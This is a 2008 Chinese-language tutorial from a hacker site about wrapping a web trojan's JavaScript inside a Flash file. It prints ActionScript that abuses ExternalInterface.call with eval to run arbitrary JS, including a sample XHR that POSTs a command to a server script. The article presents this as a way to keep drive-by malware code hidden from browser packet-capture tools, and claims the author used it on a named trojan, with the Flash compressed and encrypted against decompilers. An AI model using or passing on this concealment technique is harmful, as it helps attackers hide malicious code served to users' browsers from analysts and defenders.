您所在的位置: 首页>黑客频道>黑客综合> 正文

利用Flash封装网马

http://www.hf110.com/  2008-11-27 作 者:余弦 来 源:HF110.com  我要评论(0)

我们使用服务端技术保护网马,保护来保护去,网马的JS代码还是会被抓到,在那些浏览器抓包工具下,网马的JS暴露无遗,原理很简 单,网马再怎么通过判断(比如通过Cookie,IP,referer等)来保护自己,为了危害用户,总是要输出JS来给浏览器去执行,那么就会暴露网马 JS代码。那就没什么办法保护我们的网马JS代码了?有……

我们使用Flash来封装网马,这样,使用Flash AS的扩展API:ExternalInterface类,这个类是AS与JS直接通信的最好方式,比如如下AS代码:

import flash.external.*;
ExternalInterface.call("eval","alert(document.domain);function ajax(){var request = false;if(window.XMLHttpRequest) {request = new XMLHttpRequest();} else if(window.ActiveXObject) {var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];for(var i=0; i<versions.length; i++) {try {request = new ActiveXObject(versions[i]);} catch(e) {}}}return request;}var xhr = ajax();function post_it(){var cmd = 'cmd=hi';xhr.open ('POST', 'create_cmd.php', false);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send(cmd);}post_it();");

上面的代码原理是什么呢,ExternalInterface类的call方法可以直接使用Flash容器(这里是HTML页)的JS函数,它有两 个参数,第一个是要调用的JS函数名,第二个是被调用的JS函数要执行的参数。我们这里其实是劫持了eval函数,这是JS的内置函数,利用它可以执行任 意的JS代码。根据这个原理,我们可以将所有的JS代码封装在Flash文件中。

G使用这个方法成功封装了06014网马,并对我们的Flash压缩加密保护,使用一般的Flash反编译软件是破解不了的,而且在网马的执行过程中,是无法通过浏览器抓包工具抓到网马的JS代码。这就起到了不错的保护作用:)。


标签:Flash 网马  责任编辑:黑反编辑
上一篇:没有了   下一篇:没有了
昵称:  验证码:  看不清楚?请点击这里刷新。  请文明参与讨论,禁止漫骂攻击。
loading.. 评论加载中....

频道推荐

黑客排行

更多>>
Copyright©2004-2008 HF110.COM 版权所有 未经许可 请勿转载
管理员邮箱:管理员邮箱 苏ICP备05010002号
平等 开放 互帮 互助